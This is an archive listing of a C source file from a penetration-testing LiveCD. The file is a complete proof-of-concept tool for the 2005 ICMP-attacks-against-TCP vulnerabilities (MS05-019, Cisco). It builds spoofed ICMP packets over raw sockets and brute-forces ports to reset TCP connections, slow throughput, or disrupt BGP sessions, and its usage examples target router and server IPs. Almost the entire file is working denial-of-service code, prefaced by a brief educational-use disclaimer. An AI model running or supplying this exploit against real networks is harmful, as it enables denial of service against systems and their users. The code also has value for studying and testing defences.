home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / network / tcpip / HOD-icmp-attacks-poc.c < prev    next >
C/C++ Source or Header  |  2005-05-06  |  13KB  |  459 lines

  1. /* HOD-icmp-attacks-poc.c: 2005-04-15: PUBLIC v.0.2
  2.  * *
  3.  * * Copyright (c) 2004-2005 houseofdabus.
  4.  * *
  5.  * * (MS05-019) (CISCO:20050412)
  6.  * * ICMP attacks against TCP (Proof-of-Concept)
  7.  * *
  8.  * *
  9.  * *
  10.  * * .::[ houseofdabus ]::.
  11.  * *
  12.  * *
  13.  * *
  14.  * * [ for more details:
  15.  * * [ http://www.livejournal.com/users/houseofdabus
  16.  * * ---------------------------------------------------------------------
  17.  * * Systems Affected:
  18.  * * - Cisco Content Services Switch 11000 Series (WebNS)
  19.  * * - Cisco Global Site Selector (GSS) 4480 1.x
  20.  * * - Cisco IOS 10.x
  21.  * * - Cisco IOS 11.x
  22.  * * - Cisco IOS 12.x
  23.  * * - Cisco IOS R11.x
  24.  * * - Cisco IOS R12.x
  25.  * * - Cisco IOS XR (CRS-1) 3.x
  26.  * * - Cisco ONS 15000 Series
  27.  * * - Cisco PIX 6.x
  28.  * * - Cisco SAN-OS 1.x (MDS 9000 Switches)
  29.  * * - AIX 5.x
  30.  * * - Windows Server 2003
  31.  * * - Windows XP SP2
  32.  * * - Windows XP SP1
  33.  * * - Windows 2000 SP4
  34.  * * - Windows 2000 SP3
  35.  * * ...
  36.  * *
  37.  * * ---------------------------------------------------------------------
  38.  * * Description:
  39.  * * A denial of service vulnerability exists that could allow an
  40.  * * attacker to send a specially crafted Internet Control Message
  41.  * * Protocol (ICMP) message to an affected system. An attacker who
  42.  * * successfully exploited this vulnerability could cause the affected
  43.  * * system to reset existing TCP connections, reduce the throughput
  44.  * * in existing TCP connections, or consume large amounts of CPU and
  45.  * * memory resources.
  46.  * * (CAN-2004-0790, CAN-2004-0791, CAN-2004-1060)
  47.  * *
  48.  * * ---------------------------------------------------------------------
  49.  * * Solution:
  50.  * * http://www.microsoft.com/technet/security/Bulletin/MS05-019.mspx
  51.  * * http://www.cisco.com/warp/public/707/cisco-sa-20050412-icmp.shtml
  52.  * *
  53.  * * Other References:
  54.  * * http://www.gont.com.ar/drafts/icmp-attacks-against-tcp.html
  55.  * * http://www.kb.cert.org/vuls/id/222750
  56.  * *
  57.  * * ---------------------------------------------------------------------
  58.  * * Tested on:
  59.  * * - Windows Server 2003
  60.  * * - Windows XP SP1
  61.  * * - Windows 2000 SP4
  62.  * * - Cisco IOS 11.x
  63.  * *
  64.  * * ---------------------------------------------------------------------
  65.  * * Compile:
  66.  * *
  67.  * * Win32/VC++ : cl -o HOD-icmp-attacks-poc HOD-icmp-attacks-poc.c
  68.  * * Win32/cygwin: gcc -o HOD-icmp-attacks-poc HOD-icmp-attacks-poc.c
  69.  * * Linux : gcc -o HOD-icmp-attacks-poc HOD-icmp-attacks-poc.c
  70.  * *
  71.  * * ---------------------------------------------------------------------
  72.  * * Examples:
  73. * *
  74. * * client <---> router <---> router <---> server
  75. * *
  76. * * CLIENT <---> SERVER
  77. * *
  78. * * HOD-icmp.exe -fi:serverIP -ti:clientIP -fp:80 -tp:1023 -a:1
  79. * * (abort the connection)
  80.     * *
  81.     * * HOD-icmp.exe -fi:serverIP -ti:clientIP -fp:80 -tp:1023 -a:2
  82.     * * (slow down the transmission rate for traffic)
  83.     * *
  84.     * *
  85.     * * ROUTER1 <---> ROUTER2
  86.     * *
  87.     * * HOD-icmp.exe -fi:routerIP2 -ti:routerIP1 -fp:179 -a:1
  88.     * * (DoS Cisco BGP Connections)
  89.     * *
  90.     * * HOD-icmp.exe -fi:routerIP2 -ti:routerIP1 -fp:80 -a:2
  91.     * * (slow down the transmission rate for traffic)
  92.     * *
  93.     * * ---------------------------------------------------------------------
  94.     * *
  95.     * * This is provided as proof-of-concept code only for educational
  96.     * * purposes and testing by authorized individuals with permission
  97.     * * to do so.
  98.     * *
  99.     * */
  100.  
  101.     /* #define _WIN32 */
  102.  
  103. #ifdef _WIN32
  104. #pragma comment(lib,"ws2_32")
  105. #pragma pack(1)
  106. #define WIN32_LEAN_AND_MEAN
  107. #include <winsock2.h>
  108.     /* IP_HDRINCL */
  109. #include <ws2tcpip.h>
  110.  
  111. #else
  112. #include <sys/types.h>
  113. #include <netinet/in.h>
  114. #include <sys/socket.h>
  115. #include <stdio.h>
  116. #include <stdlib.h>
  117. #include <arpa/inet.h>
  118. #include <netdb.h>
  119. #include <sys/timeb.h>
  120. #endif
  121.  
  122. #include <string.h>
  123. #include <stdio.h>
  124. #include <stdlib.h>
  125.  
  126. #define MAX_PACKET 4096
  127.  
  128. #define DEFAULT_PORT 80
  129. #define DEFAULT_IP "192.168.0.1"
  130. #define DEFAULT_COUNT 1
  131.  
  132.     /* Define the IP header */
  133.     typedef struct ip_hdr {
  134.         unsigned char ip_verlen; /* IP version & length */
  135.         unsigned char ip_tos; /* IP type of service */
  136.         unsigned short ip_totallength; /* Total length */
  137.         unsigned short ip_id; /* Unique identifier */
  138.         unsigned short ip_offset; /* Fragment offset field */
  139.         unsigned char ip_ttl; /* Time to live */
  140.         unsigned char ip_protocol; /* Protocol */
  141.         unsigned short ip_checksum; /* IP checksum */
  142.         unsigned int ip_srcaddr; /* Source address */
  143.         unsigned int ip_destaddr; /* Destination address */
  144.     } IP_HDR, *PIP_HDR;
  145.  
  146. /* Define the ICMP header */
  147. /* Destination Unreachable Message */
  148. typedef struct icmp_hdr {
  149.     unsigned char type; /* Type */
  150.     unsigned char code; /* Code */
  151.     unsigned short checksum; /* Checksum */
  152.     unsigned long unused; /* Unused */
  153. } ICMP_HDR, *PICMP_HDR;
  154.  
  155. /* 64 bits of Original Data Datagram (TCP header) */
  156. char msg[] =
  157. "\x00\x50" /* Source port */
  158. "\x00\x50" /* Destination port */
  159. "\x23\x48\x4f\x44";
  160.  
  161. /* globals */
  162. unsigned long dwToIP, /* IP to send to */
  163.           dwFromIP; /* IP to send from (spoof) */
  164. unsigned short iToPort, /* Port to send to */
  165.            iFromPort; /* Port to send from (spoof) */
  166. unsigned long dwCount; /* Number of times to send */
  167. unsigned long Attack;
  168.  
  169. void
  170. usage(char *progname) {
  171.     printf("Usage:\n\n");
  172.     printf("%s <-fi:SRC-IP> <-ti:VICTIM-IP> <-fi:SRC-PORT> [-tp:int] 
  173.             [-a:int] [-n:int]\n\n", progname);
  174.     printf(" -fi:IP From (sender) IP address\n");
  175.     printf(" -ti:IP To (target) IP address\n");
  176.     printf(" -fp:int Target open TCP port number\n");
  177.     printf(" (for example - 21, 25, 80)\n");
  178.     printf(" -tp:int Inicial value for bruteforce (sender) TCP port number\n");
  179.     printf(" (default: 0 = range of ports 0-65535)\n");
  180.     printf(" -n:int Number of packets\n\n");
  181.     printf(" -a:int ICMP attacks:\n");
  182.     printf(" 1 - Blind connection-reset attack\n");
  183.     printf(" (ICMP protocol unreachable)\n");
  184.     printf(" 2 - Path MTU discovery attack\n");
  185.     printf(" (slow down the transmission rate)\n");
  186.     printf(" 3 - ICMP Source Quench attack\n");
  187.     exit(1);
  188. }
  189.  
  190. void
  191. ValidateArgs(int argc, char **argv)
  192. {
  193.     int i;
  194.  
  195.     iToPort = 0;
  196.     iFromPort = DEFAULT_PORT;
  197.     dwToIP = inet_addr(DEFAULT_IP);
  198.     dwFromIP = inet_addr(DEFAULT_IP);
  199.     dwCount = DEFAULT_COUNT;
  200.     Attack = 1;
  201.  
  202.     for (i = 1; i < argc; i++) {
  203.         if ((argv[i][0] == '-') || (argv[i][0] == '/')) {
  204.             switch (tolower(argv[i][1])) {
  205.                 case 'f':
  206.                     switch (tolower(argv[i][2])) {
  207.                         case 'p':
  208.                             if (strlen(argv[i]) > 4)
  209.                                 iFromPort = atoi(&argv[i][4]);
  210.                             break;
  211.                         case 'i':
  212.                             if (strlen(argv[i]) > 4)
  213.                                 dwFromIP = inet_addr(&argv[i][4]);
  214.                             break;
  215.                         default:
  216.                             usage(argv[0]);
  217.                             break;
  218.                     }
  219.                     break;
  220.                 case 't':
  221.                     switch (tolower(argv[i][2])) {
  222.                         case 'p':
  223.                             if (strlen(argv[i]) > 4)
  224.                                 iToPort = atoi(&argv[i][4]);
  225.                             break;
  226.                         case 'i':
  227.                             if (strlen(argv[i]) > 4)
  228.                                 dwToIP = inet_addr(&argv[i][4]);
  229.                             break;
  230.                         default:
  231.                             usage(argv[0]);
  232.                             break;
  233.                     }
  234.                     break;
  235.                 case 'n':
  236.                     if (strlen(argv[i]) > 3)
  237.                         dwCount = atol(&argv[i][3]);
  238.                     break;
  239.                 case 'a':
  240.                     if (strlen(argv[i]) > 3)
  241.                         Attack = atol(&argv[i][3]);
  242.                     if ((Attack > 3) || (Attack < 1))
  243.                         usage(argv[0]);
  244.                     break;
  245.                 default:
  246.                     usage(argv[0]);
  247.                     break;
  248.             }
  249.         }
  250.     }
  251.     return;
  252. }
  253.  
  254. /* This function calculates the 16-bit one's complement sum */
  255. /* for the supplied buffer */
  256. unsigned short
  257. checksum(unsigned short *buffer, int size)
  258. {
  259.     unsigned long cksum = 0;
  260.  
  261.     while (size > 1) {
  262.         cksum += *buffer++;
  263.         size -= sizeof(unsigned short);
  264.     }
  265.     if (size) {
  266.         cksum += *(unsigned char *)buffer;
  267.     }
  268.     cksum = (cksum >> 16) + (cksum & 0xffff);
  269.     cksum += (cksum >>16);
  270.  
  271.     return (unsigned short)(~cksum);
  272. }
  273.  
  274. int
  275. main(int argc, char **argv)
  276. {
  277.  
  278. #ifdef _WIN32
  279.     WSADATA wsd;
  280. #endif
  281.     int s;
  282. #ifdef _WIN32
  283.     BOOL bOpt;
  284. #else
  285.     int bOpt;
  286. #endif
  287.     struct sockaddr_in remote;
  288.     IP_HDR ipHdr,
  289.            ipHdrInc;
  290.     ICMP_HDR icmpHdr;
  291.     int ret;
  292.     unsigned long i, p;
  293.     unsigned short iTotalSize,
  294.                iIPVersion,
  295.                iIPSize,
  296.                p2,
  297.                cksum = 0;
  298.     char buf[MAX_PACKET],
  299.          *ptr = NULL;
  300. #ifdef _WIN32
  301.     IN_ADDR addr;
  302. #else
  303.     struct sockaddr_in addr;
  304. #endif
  305.  
  306.     printf("\n (MS05-019) (CISCO:20050412)\n");
  307.     printf(" ICMP attacks against TCP (Proof-of-Concept)\n\n");
  308.     printf(" Copyright (c) 2004-2005 .: houseofdabus :.\n\n\n");
  309.  
  310.     if (argc < 3) usage(argv[0]);
  311.  
  312.     /* Parse command line arguments and print them out */
  313.     ValidateArgs(argc, argv);
  314. #ifdef _WIN32
  315.     addr.S_un.S_addr = dwFromIP;
  316.     printf("[*] From IP: <%s>, port: %d\n", inet_ntoa(addr), iFromPort);
  317.     addr.S_un.S_addr = dwToIP;
  318.     printf("[*] To IP: <%s>, port: %d\n", inet_ntoa(addr), iToPort);
  319.     printf("[*] Count: %d\n", dwCount);
  320. #else
  321.     addr.sin_addr.s_addr = dwFromIP;
  322.     printf("[*] From IP: <%s>, port: %d\n", inet_ntoa(addr.sin_addr), iFromPort);
  323.     addr.sin_addr.s_addr = dwToIP;
  324.     printf("[*] To IP: <%s>, port: %d\n", inet_ntoa(addr.sin_addr), iToPort);
  325.     printf("[*] Count: %d\n", dwCount);
  326. #endif
  327.  
  328. #ifdef _WIN32
  329.     if (WSAStartup(MAKEWORD(2,2), &wsd) != 0) {
  330.         printf("[-] WSAStartup() failed: %d\n", GetLastError());
  331.         return -1;
  332.     }
  333. #endif
  334.     /* Creating a raw socket */
  335.     s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  336. #ifdef _WIN32
  337.     if (s == INVALID_SOCKET) {
  338. #else
  339.         if (s < 0) {
  340. #endif
  341.             printf("[-] socket() failed\n");
  342.             return -1;
  343.         }
  344.  
  345.         /* Enable the IP header include option */
  346. #ifdef _WIN32
  347.         bOpt = TRUE;
  348. #else
  349.         bOpt = 1;
  350. #endif
  351.         ret = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&bOpt, sizeof(bOpt));
  352. #ifdef _WIN32
  353.         if (ret == SOCKET_ERROR) {
  354.             printf("[-] setsockopt(IP_HDRINCL) failed: %d\n", WSAGetLastError());
  355.             return -1;
  356.         }
  357. #endif
  358.  
  359.         /* Initalize the IP header */
  360.         iTotalSize = sizeof(ipHdr) + sizeof(icmpHdr) + sizeof(msg)-1 + sizeof(ipHdrInc);
  361.  
  362.         iIPVersion = 4;
  363.         iIPSize = sizeof(ipHdr) / sizeof(unsigned long);
  364.  
  365.         ipHdr.ip_verlen = (iIPVersion << 4) | iIPSize;
  366.         ipHdr.ip_tos = 0; /* IP type of service */
  367.         /* Total packet len */
  368.         ipHdr.ip_totallength = htons(iTotalSize);
  369.         ipHdr.ip_id = htons(42451); /* Unique identifier */
  370.         ipHdr.ip_offset = 0; /* Fragment offset field */
  371.         ipHdr.ip_ttl = 255; /* Time to live */
  372.         ipHdr.ip_protocol = 0x1; /* Protocol(ICMP) */
  373.         ipHdr.ip_checksum = 0; /* IP checksum */
  374.         ipHdr.ip_srcaddr = dwFromIP; /* Source address */
  375.         ipHdr.ip_destaddr = dwToIP; /* Destination address */
  376.  
  377.         ipHdrInc.ip_verlen = (iIPVersion << 4) | iIPSize;
  378.         ipHdrInc.ip_tos = 0; /* IP type of service */
  379.         /* Total packet len */
  380.         ipHdrInc.ip_totallength = htons(sizeof(ipHdrInc)+20);
  381.         ipHdrInc.ip_id = htons(25068); /* Unique identifier */
  382.         ipHdrInc.ip_offset = 0; /* Fragment offset field */
  383.         ipHdrInc.ip_ttl = 255; /* Time to live */
  384.         ipHdrInc.ip_protocol = 0x6; /* Protocol(TCP) */
  385.         ipHdrInc.ip_checksum = 0; /* IP checksum */
  386.         ipHdrInc.ip_srcaddr = dwToIP; /* Source address */
  387.         ipHdrInc.ip_destaddr = dwFromIP;/* Destination address */
  388.  
  389.         /* Initalize the ICMP header */
  390.         icmpHdr.checksum = 0;
  391.         if (Attack == 1) {
  392.             icmpHdr.type = 3; /* Destination Unreachable Message */
  393.             icmpHdr.code = 2; /* protocol unreachable */
  394.             icmpHdr.unused = 0;
  395.         } else if (Attack == 2) {
  396.             icmpHdr.type = 3; /* Destination Unreachable Message */
  397.             icmpHdr.code = 4; /* fragmentation needed and DF set */
  398.             icmpHdr.unused = 0x44000000; /* next-hop MTU - 68 */
  399.         } else {
  400.             icmpHdr.type = 4; /* Source Quench Message */
  401.             icmpHdr.code = 0;
  402.             icmpHdr.unused = 0;
  403.         }
  404.  
  405.         memset(buf, 0, MAX_PACKET);
  406.         ptr = buf;
  407.  
  408.         memcpy(ptr, &ipHdr, sizeof(ipHdr)); ptr += sizeof(ipHdr);
  409.         memcpy(ptr, &icmpHdr, sizeof(icmpHdr)); ptr += sizeof(icmpHdr);
  410.         memcpy(ptr, &ipHdrInc, sizeof(ipHdrInc)); ptr += sizeof(ipHdrInc);
  411.         memcpy(ptr, msg, sizeof(msg)-1);
  412.         iFromPort = htons(iFromPort);
  413.         memcpy(ptr, &iFromPort, 2);
  414.  
  415.         remote.sin_family = AF_INET;
  416.         remote.sin_port = htons(iToPort);
  417.         remote.sin_addr.s_addr = dwToIP;
  418.  
  419.         cksum = checksum((unsigned short *)&ipHdrInc, 20);
  420.         memcpy(buf+20+sizeof(icmpHdr)+10, &cksum, 2);
  421.  
  422.         cksum = checksum((unsigned short *)&ipHdr, 20);
  423.         memcpy(buf+10, &cksum, 2);
  424.  
  425.         for (p = iToPort; p <= 65535; p++) {
  426.             p2 = htons((short)p);
  427.             memcpy((char *)(ptr+2), &p2, 2);
  428.             buf[22] = 0;
  429.             buf[23] = 0;
  430.             cksum = checksum((unsigned short *)(buf+20), sizeof(icmpHdr)+28);
  431.             memcpy(buf+20+2, &cksum, 2);
  432.  
  433.             for (i = 0; i < dwCount; i++) {
  434. #ifdef _WIN32
  435.                 ret = sendto(s, buf, iTotalSize, 0, (SOCKADDR *)&remote,
  436.                         sizeof(remote));
  437. #else
  438.                 ret = sendto(s, buf, iTotalSize, 0, (struct sockaddr *) &remote,
  439.                         sizeof(remote));
  440. #endif
  441. #ifdef _WIN32
  442.                 if (ret == SOCKET_ERROR) {
  443. #else
  444.                     if (ret < 0) {
  445. #endif
  446.                         printf("[-] sendto() failed\n");
  447.                         break;
  448.                     }
  449.                 }
  450.             }
  451.  
  452. #ifdef _WIN32
  453.             closesocket(s);
  454.             WSACleanup();
  455. #endif
  456.  
  457.             return 0;
  458.         }
  459.